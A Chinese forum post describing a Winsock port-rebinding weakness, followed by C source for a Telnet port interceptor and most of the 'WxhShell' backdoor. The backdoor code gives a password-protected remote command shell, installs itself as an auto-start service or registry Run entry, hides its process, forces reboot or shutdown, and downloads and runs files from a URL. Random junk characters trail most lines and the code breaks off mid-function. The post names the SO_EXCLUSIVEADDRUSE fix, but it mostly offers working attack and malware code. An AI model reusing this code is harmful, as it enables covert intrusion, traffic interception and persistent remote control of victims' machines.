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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: GZ-n! ^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y$"~^8"z  
t2`X!`  
  saddr.sin_family = AF_INET; xNkwTDN5  
u:p:*u_^I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); [ 7CH(o1a&  
j.e`ip  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); D z]}@Z*jK  
K[Ws/yc^a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 oc,U4+T  
(W{rv6cq  
  这意味着什么?意味着可以进行如下的攻击: JRcuw'8+q  
Fb $5&~d  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?.|wfBI  
4B%5-VQ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8=b{'s^^F  
A@lhm`Aa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zYNM<W;  
` Mv5!H5l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -+Awm{X_@  
+$an*k9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5Od(J5`  
'8((;N|I^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;Ln7_  
8*Nt&`@  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {jCu9 ]c!  
QvT-&|  
  #include 0*'`%W+5  
  #include s}p GJ&C  
  #include (h8hg+l o  
  #include    N:sECGS,  
  DWORD WINAPI ClientThread(LPVOID lpParam);    G$cq   
  int main() |M0,%~Kt  
  { h)aWerzL  
  WORD wVersionRequested; OQX{<pQ6  
  DWORD ret; 9# .NPfMF  
  WSADATA wsaData; eo}S01bt  
  BOOL val; ^me}k{x  
  SOCKADDR_IN saddr; b{ubp  
  SOCKADDR_IN scaddr; S|Ij q3  
  int err; 4YB7og%P  
  SOCKET s; 2TevdyI  
  SOCKET sc; S]e~)I gO  
  int caddsize; +A&IxsTq5=  
  HANDLE mt; 8[{0X4y3  
  DWORD tid;   R*c0NJF  
  wVersionRequested = MAKEWORD( 2, 2 ); IQIb\OUo!v  
  err = WSAStartup( wVersionRequested, &wsaData ); hr 6LB&d_  
  if ( err != 0 ) { bx%hizb  
  printf("error!WSAStartup failed!\n"); vVvt ]h  
  return -1; |] f"j':  
  } oW\7q{l2)  
  saddr.sin_family = AF_INET; ;zxlwdfcr'  
   E.Gh@i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =6q*w^ET  
>8{`q!=|~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D2wgSrY  
  saddr.sin_port = htons(23); `'tw5}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D;#Yn M3  
  { bQnwi?2  
  printf("error!socket failed!\n"); th>yi)m  
  return -1; {D_4~heF  
  } * y"GgI  
  val = TRUE; ~QQ23k&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 1rzq$,O  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 86) 3XE[ 5  
  { hZF&PV5H  
  printf("error!setsockopt failed!\n"); ztxQv5=:,  
  return -1; FlA$G3  
  } G5eLs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Y=wP3q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vp0GmZ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 S.)8&  
j~0ZE -e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c75vAKZ2  
  { 3YNkT"~T  
  ret=GetLastError(); Up2\X#6  
  printf("error!bind failed!\n"); \gW\Sa ^  
  return -1; /;(%Xd&:  
  } zR/p}Wu|!  
  listen(s,2); MZ+IorZl  
  while(1) U8I~co:h  
  { aPP<W|Cmo2  
  caddsize = sizeof(scaddr); 2g07wJ6x  
  //接受连接请求 m^s2kB4A[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); -gX2{dW  
  if(sc!=INVALID_SOCKET) keq[ 6Lv  
  {  f"=4,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =)UiI3xHk  
  if(mt==NULL) Q*J ~wuE2  
  { TH}ycue  
  printf("Thread Creat Failed!\n"); YKS'#F2  
  break; {&j{V-}f  
  } igbb=@QBJ  
  } p<nBS" /  
  CloseHandle(mt); .j4ziRa-  
  } .g`*cDW^=  
  closesocket(s); :phD?\!w8t  
  WSACleanup(); eR 2T<7G  
  return 0; JFk|Uqs(  
  }   _q 9lr8hx  
  DWORD WINAPI ClientThread(LPVOID lpParam) QNI|h;D  
  {  WD do{  
  SOCKET ss = (SOCKET)lpParam; z# ?w/NE  
  SOCKET sc; (7#lN  
  unsigned char buf[4096]; >wm$,%zk  
  SOCKADDR_IN saddr; u~T$F/]k>  
  long num; H;!hp0y  
  DWORD val; u2\qg;dP  
  DWORD ret; Fea\ eB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Jn[ K0GV  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c\rbLr}l)  
  saddr.sin_family = AF_INET; 5pyvs;As  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <T% hfW  
  saddr.sin_port = htons(23); <`p'6n79  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7[<sl35  
  { &,kB7r"  
  printf("error!socket failed!\n"); I;4CvoT  
  return -1; `1v!sSR0R  
  } $aI MQ[(  
  val = 100; O]LuL&=s y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S<9d^= a  
  { l@F e(^5E  
  ret = GetLastError(); 78BuD[<X-  
  return -1; vl(v1[pU  
  } >2{HH\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) iiDkk  
  { `Qk R  
  ret = GetLastError(); !eoec2h#5  
  return -1; TS8E9#1a  
  } (_5+`YsV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !3v"7l{LF  
  { snNg:rT L  
  printf("error!socket connect failed!\n"); 4< >:]  
  closesocket(sc); '>3RZ& O  
  closesocket(ss); 2EcYO$R!  
  return -1; +VCo=oA  
  } e Em0c]]9  
  while(1) qtQ:7WO  
  { JNg5?V;.U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  Kj|F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 % +"AF+c3r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \4X{\ p<  
  num = recv(ss,buf,4096,0); TB[2!ZW  
  if(num>0) ?vNS!rY2&  
  send(sc,buf,num,0); ojqX#>0K  
  else if(num==0) #zD+DBTAu  
  break; RtM.}wv;  
  num = recv(sc,buf,4096,0); !D5`8   
  if(num>0) Elk$9 < <  
  send(ss,buf,num,0); %4^/.) Q  
  else if(num==0) > V}NG  
  break; pr89zkYw  
  } '^Np<  
  closesocket(ss); a~EEow;A  
  closesocket(sc); VQ 3&  
  return 0 ; o=2`N2AL  
  } gbZX'D  
r+Cha%&D  
>2a#|_-T  
========================================================== !K)|e4$  
sb5kexGxkc  
下边附上一个代码,,WXhSHELL g<c^\WG  
2 g==98>cg  
========================================================== 3yX^R^`  
<Y6>L};  
#include "stdafx.h" 1vd+p!n  
7NqV*  
#include <stdio.h> eajL[W^>  
#include <string.h> =#fvdj  
#include <windows.h> tR/ JY;jn  
#include <winsock2.h> TI&J>/z;$  
#include <winsvc.h> e%>E| 9*u  
#include <urlmon.h> rt;>pQ9,  
0zNS;wvv&  
#pragma comment (lib, "Ws2_32.lib") z<=t3dj  
#pragma comment (lib, "urlmon.lib") lV="IP^7  
1S#bV} !  
#define MAX_USER   100 // 最大客户端连接数 7si.]  
#define BUF_SOCK   200 // sock buffer []^>QsS(X  
#define KEY_BUFF   255 // 输入 buffer rvO+=Tk  
$MGd>3%y  
#define REBOOT     0   // 重启 +y#979A,  
#define SHUTDOWN   1   // 关机 Z28@yD +  
UG$i5PV%i  
#define DEF_PORT   5000 // 监听端口 xGPv3TLH^  
v1rGq  
#define REG_LEN     16   // 注册表键长度 }N!8i'suz9  
#define SVC_LEN     80   // NT服务名长度 @L7rE)AU.  
h {btT  
// 从dll定义API j. cH,Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f& *E;l0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r?7 ^@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $a1.c;NE'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |u=57II#xK  
jqmP^ZS  
// wxhshell配置信息 !4fL|0  
struct WSCFG { YJ`>&AJ  
  int ws_port;         // 监听端口 |Dli6KN  
  char ws_passstr[REG_LEN]; // 口令 eU*h qy?0  
  int ws_autoins;       // 安装标记, 1=yes 0=no h2K  
  char ws_regname[REG_LEN]; // 注册表键名 7n.J.<+9  
  char ws_svcname[REG_LEN]; // 服务名 c5u?\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )63w&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dksnW!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a r%Rr"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $^F2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y.OUn'^d4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $dVjxo  
[rem,i+  
}; =*N(8j>y  
_uacpN/<|  
// default Wxhshell configuration @ZZ Lh=  
struct WSCFG wscfg={DEF_PORT, sj2+|>  
    "xuhuanlingzhe", p};<l@  
    1, W'yICt(#G  
    "Wxhshell", Fx2&ji6u  
    "Wxhshell", |ESe=G  
            "WxhShell Service", IYPI5qCR  
    "Wrsky Windows CmdShell Service", 'UCL?$  
    "Please Input Your Password: ", dXQWT@$y!E  
  1, PeZ=ONY5  
  "http://www.wrsky.com/wxhshell.exe", >EG;2]M&  
  "Wxhshell.exe" b9Nw98`  
    }; :a2?K5  
0'",4=c#V  
// 消息定义模块 4`B:Mq&j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bcg)K`'N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A,@"(3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; /);6 j,x  
char *msg_ws_ext="\n\rExit."; x8t1g,QA  
char *msg_ws_end="\n\rQuit."; 1l{n`gR  
char *msg_ws_boot="\n\rReboot..."; z841g `:C  
char *msg_ws_poff="\n\rShutdown..."; Px`yD3  
char *msg_ws_down="\n\rSave to "; GfV9Ox   
LE"xZxe  
char *msg_ws_err="\n\rErr!"; w@R-@ G  
char *msg_ws_ok="\n\rOK!"; W%x#ps5%  
ZO}*^  
char ExeFile[MAX_PATH]; Fej$`2mRH  
int nUser = 0; z Ey&%Ok  
HANDLE handles[MAX_USER]; 9i@*\Ada  
int OsIsNt; w*x}4wW  
F);C?SW"  
SERVICE_STATUS       serviceStatus; ?*HlAVDcFT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i "xq SLf=  
O`4X[r1LD  
// 函数声明 Z2r\aZ-d`  
int Install(void); `1dr$U  
int Uninstall(void); [dUEe@P  
int DownloadFile(char *sURL, SOCKET wsh); wP'`!O[W  
int Boot(int flag); sz5@=  
void HideProc(void); v%r!}s  
int GetOsVer(void); f/xBR"'  
int Wxhshell(SOCKET wsl); |?8wyP  
void TalkWithClient(void *cs); \% (R~ H  
int CmdShell(SOCKET sock); WO^h\#^n  
int StartFromService(void); x<"e  
int StartWxhshell(LPSTR lpCmdLine); vv3?ewr y  
G.;<?W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); FM5$83Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - >2ej4C  
se-}d.PwL  
// 数据结构和表定义 ;:OJQFu%4  
SERVICE_TABLE_ENTRY DispatchTable[] = x:(e: I8x(  
{ B dSTB"  
{wscfg.ws_svcname, NTServiceMain}, p<YO3@B+  
{NULL, NULL} =e63>*M|  
}; & b%6pVj  
Wr;)3K  
// 自我安装 gS!M7xy  
int Install(void) DWDe5$^{  
{ Zn/1uWO  
  char svExeFile[MAX_PATH]; wI:oe`?H  
  HKEY key; @#p4QEQA  
  strcpy(svExeFile,ExeFile); ;:cM^LJ  
X^?-U ne  
// 如果是win9x系统,修改注册表设为自启动 a&&EjI  
if(!OsIsNt) { *i|hcDk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i ):el=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m{X;|-DK[  
  RegCloseKey(key); `7NgQ*g.d/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;YB8X&H$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r&#q=R},p  
  RegCloseKey(key); ^T" A9uaG  
  return 0; >Kx l+F  
    }  mJ-@:5  
  } {Su]P {oJ  
} $iV3>>;eh  
else { jRGG5w}  
yy9Bd>  
// 如果是NT以上系统,安装为系统服务 /H)l\m +  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3' ^ON  
if (schSCManager!=0) u931^~Ci  
{ ]uP {Sj  
  SC_HANDLE schService = CreateService R1U\/  
  ( iS{)Tll}&  
  schSCManager, H_ x35|"  
  wscfg.ws_svcname, bF3j*bpO"  
  wscfg.ws_svcdisp, uzsR*x%s-  
  SERVICE_ALL_ACCESS, 79&Mc,69  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YO=;)RA  
  SERVICE_AUTO_START, SU*P@?:/}  
  SERVICE_ERROR_NORMAL, nC z[#t  
  svExeFile, ym:JtI69   
  NULL, 4;_.|!LN  
  NULL, r`lgK2r\  
  NULL, sbgRl%  
  NULL, 8ciLzyrY*  
  NULL +ISB"a  
  ); "?]5"lNC|  
  if (schService!=0) 8s|r'  
  { a-7nA  
  CloseServiceHandle(schService); Dq\#:NnKvx  
  CloseServiceHandle(schSCManager); WvR}c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "~GudK &  
  strcat(svExeFile,wscfg.ws_svcname); pt=[XhxC(>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &Zov9o:gx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :QN,T3i'/3  
  RegCloseKey(key); \4V'NTjB  
  return 0; uH`ds+Hp  
    } aPWFb.JO4  
  } @NO&3m]  
  CloseServiceHandle(schSCManager); 7"M7N^  
} }L@YLnc%  
} l_DPlY  
X!&=S!}  
return 1; z%b3/rx  
} ,u$$w  
p<Zf,F}  
// 自我卸载 n 6oVx 5/  
int Uninstall(void) |ek*wo  
{ YTY0N5["  
  HKEY key; h1,J<B@  
L&l> ?"_  
if(!OsIsNt) { `OduBUI]]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |GIT{_JE  
  RegDeleteValue(key,wscfg.ws_regname); Q&wBX%@^L  
  RegCloseKey(key); kQ|}"Tw7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wd u>3Ch"y  
  RegDeleteValue(key,wscfg.ws_regname); SJw0y[IL6(  
  RegCloseKey(key); [<cP~  
  return 0; vh T9#) HI  
  } 4iDo.1B"  
} !zD| @sX{  
} _w)0r}{  
else { U; ev3  
(RGl, x:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lnTl"9F  
if (schSCManager!=0) aFKks .n3  
{ x< imMJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  d+=;sJ  
  if (schService!=0) y![h  
  { NmK%k jCx  
  if(DeleteService(schService)!=0) { x'}{^'}/  
  CloseServiceHandle(schService); m`n51i{U  
  CloseServiceHandle(schSCManager); !5x"d7  
  return 0; iPxSVH[  
  } KPKby?qQ^  
  CloseServiceHandle(schService); dBCg$Rud&  
  } (/PD;R$b  
  CloseServiceHandle(schSCManager); 6Ba>l$/q  
}  c,x2   
} xOP\ +(  
tw^V?4[Miu  
return 1; 5JQq?e)n  
} cpf8f i  
~ 5`Ngpp  
// 从指定url下载文件 3"%:S_[  
int DownloadFile(char *sURL, SOCKET wsh) 60-LpGhvy  
{ * _U z**M  
  HRESULT hr; QD7>S(p  
char seps[]= "/"; owQLAV  
char *token; _Tev503  
char *file; -0lpsF  
char myURL[MAX_PATH]; O=ci"2!\-  
char myFILE[MAX_PATH]; ](^VEm}w;  
MwXgaSV  
strcpy(myURL,sURL); yv,90+k  
  token=strtok(myURL,seps); M,|o2'  
  while(token!=NULL) q18dSu  
  { L[ rJ7:  
    file=token; 2uV=kqnO  
  token=strtok(NULL,seps); :y 0'[LV  
  } iQ~cG[6  
(,HA Os  
GetCurrentDirectory(MAX_PATH,myFILE); }?"f#bI  
strcat(myFILE, "\\"); yU&A[DZQ  
strcat(myFILE, file); B-JgXW.\0  
  send(wsh,myFILE,strlen(myFILE),0); CfA F.H  
send(wsh,"...",3,0); S =eP/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *9*6n\~aI  
  if(hr==S_OK) ">NBPanJ  
return 0; 'Zk&AD ~  
else rXvvJIbi  
return 1;  Ws}u4t  
8ec~"vGLz~  
} 7J##IH+z35  
Oxy. V+R  
// 系统电源模块 ( ]'4_~e  
int Boot(int flag) O]i}r`E8,  
{ %5jxq9:K  
  HANDLE hToken; mi i9eZ  
  TOKEN_PRIVILEGES tkp; IN),Lu0K  
,NKDEcw]  
  if(OsIsNt) { 0p:n'P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); amgYr$)m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NcRY Ch  
    tkp.PrivilegeCount = 1; 6SW:'u|90  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SbrBlP: G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); liPUK#  
if(flag==REBOOT) { ^hTq~"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YgrBIul  
  return 0; '^}l|(  
} $:F]O$A  
else { *m2J$9q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z_CBOJl#C!  
  return 0; %q(n'^#Z.y  
} LR'F/.Dx  
  } AgO:"'c  
  else { /tx_I(6F?|  
if(flag==REBOOT) { &&TQ0w&T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ad }^Dj/  
  return 0; '9H]S Ew  
} MX6;ww  
else { Bu*ge~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !dStl:B  
  return 0; FtT+Q$q=  
} (Kv[~W7lb  
} cqi: Rj  
$nBzYRc"3  
return 1; M*{ EK  
} 1/JgirVA  
-.i1l/FzP  
// win9x进程隐藏模块 ^~8l|d_  
void HideProc(void) #Z(8 vA^@  
{ 8iR%?5 >K  
#2{ };)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ``K.4sG  
  if ( hKernel != NULL ) -E?h^J&U  
  { !~"q$T>@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UvxJ _  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I 4gyGg$H  
    FreeLibrary(hKernel); YjoN: z`b  
  } jvCk+n[  
"PLZZL$+  
return; qGr(MDLc  
} KKl8tI\u~  
>Ix)jSNLgo  
// 获取操作系统版本 9^3y\@ m  
int GetOsVer(void) aZ@Ke$jD  
{ Z,_yE*q  
  OSVERSIONINFO winfo; N:Q}Lil  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \{P(s:  
  GetVersionEx(&winfo); X#Ajt/XQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7Oru{BQ">  
  return 1; SP 97Q-  
  else ;HgV(d#X  
  return 0; owJPEx  
} O.  V!L  
O5LB&s   
// 客户端句柄模块 ie=tM'fb  
int Wxhshell(SOCKET wsl) iw12x:  
{ a<rk'4,8a  
  SOCKET wsh; sn]8h2z  
  struct sockaddr_in client; iK s/8n  
  DWORD myID; Nq"/:3@4  
xW#r)aN]p  
  while(nUser<MAX_USER) 2_R' Kl![  
{ N?ky2wG  
  int nSize=sizeof(client); q;InFV3rv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =VH, i/@  
  if(wsh==INVALID_SOCKET) return 1; d {T3  
Yhb=^)@))  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tHJ#2X#Y.  
if(handles[nUser]==0) "fL:scq@0  
  closesocket(wsh); th2a'y=0  
else ZH~T'Bg  
  nUser++; *U)!9DvA  
  } h7wm xa;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v;80RjPy>  
/~K-0K#w  
  return 0; Wm7Dy7#l  
} &w- QMj M>  
uF+if`?  
// 关闭 socket )?:V5UO\  
void CloseIt(SOCKET wsh) dl6d!Nz*  
{ 1ZOHyO  
closesocket(wsh); +q|2j>k@  
nUser--; W52AX.Nm  
ExitThread(0); mh2t ' O  
} d@8=%x:  
w<| ^i*  
// 客户端请求句柄 ?A3pXa  
void TalkWithClient(void *cs) eZ(<hE>  
{ [2a*TI  
ZYos.ay  
  SOCKET wsh=(SOCKET)cs; "Rf8#\Y/<  
  char pwd[SVC_LEN]; 2fu|X#R  
  char cmd[KEY_BUFF]; |nk&ir6  
char chr[1]; W8'cAY  
int i,j; !=V>DgmW  
[ft#zxCJ  
  while (nUser < MAX_USER) { ,q]W i#  
S2HGf~rE  
if(wscfg.ws_passstr) { &s>HiL>f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "~jt0pp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .#2YJ~  
  //ZeroMemory(pwd,KEY_BUFF); k`F$aQV9`  
      i=0; Q?B5@J  
  while(i<SVC_LEN) { )F,H(LblH  
jV;&*4if  
  // 设置超时 !i&^H,  
  fd_set FdRead; eva-?+n\q  
  struct timeval TimeOut; hyH"  
  FD_ZERO(&FdRead); ]!E|5=q  
  FD_SET(wsh,&FdRead); uHkL$}C  
  TimeOut.tv_sec=8; G9TK)Nz  
  TimeOut.tv_usec=0; 2M3.xUS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ++W_4 B!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n4h@{Xg  
}xJ9EE*G/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uvgv<OR`_  
  pwd=chr[0]; 5 P9hm[  
  if(chr[0]==0xd || chr[0]==0xa) { c{Nk"gEfRA  
  pwd=0; O['gp~P"  
  break; <.s=)}'`P  
  } /%\E2+6  
  i++; X3NHQMI   
    } {w$1_GU  
7SE\(K=<%  
  // 如果是非法用户,关闭 socket I83ZN]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #/Y t4n  
} AF g*  
vz</|s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O4ciD 1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B @H.O!  
, |CT|2D>  
while(1) { rR@ t5  
Z"<aS&GH  
  ZeroMemory(cmd,KEY_BUFF); kz\ D-b  
DBANq\  
      // 自动支持客户端 telnet标准   9->E$W  
  j=0; ;Oh4W<hH}  
  while(j<KEY_BUFF) { ,R5NKWo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <7fF9X  
  cmd[j]=chr[0]; ]1>U@oK  
  if(chr[0]==0xa || chr[0]==0xd) { :A%uXgK<k  
  cmd[j]=0; TBHIcX  
  break; eN fo8xUG  
  } 7d*SZmD  
  j++; Ml1yk)3G  
    } ER~m &JI  
uh*b[`e  
  // 下载文件 E}sj l  
  if(strstr(cmd,"http://")) { <"Z]S^>$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =|O`al  
  if(DownloadFile(cmd,wsh)) `X'-4/Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Sx }~XB<  
  else B.vg2N  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fo9O+e s  
  } F/sXr(7  
  else { jFf2( AR  
( >zXapb2  
    switch(cmd[0]) { /bv `_ >  
  -H5n>j0!{  
  // 帮助 u1s^AW8 y  
  case '?': { #m{K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :uy8$g*;TE  
    break; 4SIi<cS0  
  } o65:)z u  
  // 安装 {Hm0Q  
  case 'i': { u;18s-NY  
    if(Install()) %wn|H>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v _?0|Ei[  
    else TkXD#%nFY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a@$U?=\e  
    break; A rC4pT   
    } ,7,x9qE"  
  // 卸载 'yxRz5  
  case 'r': { AD^9?Z  
    if(Uninstall()) 9kss) xy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :SUPGaUJ"  
    else 0 Po",\^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4vKp341B  
    break; _\waA^ F  
    } -Zc 6_]F|  
  // 显示 wxhshell 所在路径 RL7OFfMe  
  case 'p': { p!BZTwP  
    char svExeFile[MAX_PATH]; cf)2GoV>e  
    strcpy(svExeFile,"\n\r"); 0(\ybppx  
      strcat(svExeFile,ExeFile); S^'?s fq  
        send(wsh,svExeFile,strlen(svExeFile),0); L)H' g  
    break; -L>xVF-|:1  
    } hn\<'|n  
  // 重启 pv*u[ffi  
  case 'b': { 6<jh0=$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4^vEMq8lB  
    if(Boot(REBOOT)) ;M}'\.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d%VG@./xq  
    else { T8+A`z=tSb  
    closesocket(wsh); . #`lW7  
    ExitThread(0); a<9gD,]P  
    } 5m{!Rrb  
    break; |!:ImX@  
    } tn!z^W  
  // 关机 n:d]Z2b  
  case 'd': { HEHTj,T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IH8^ fyQ`  
    if(Boot(SHUTDOWN)) M7!>-P  
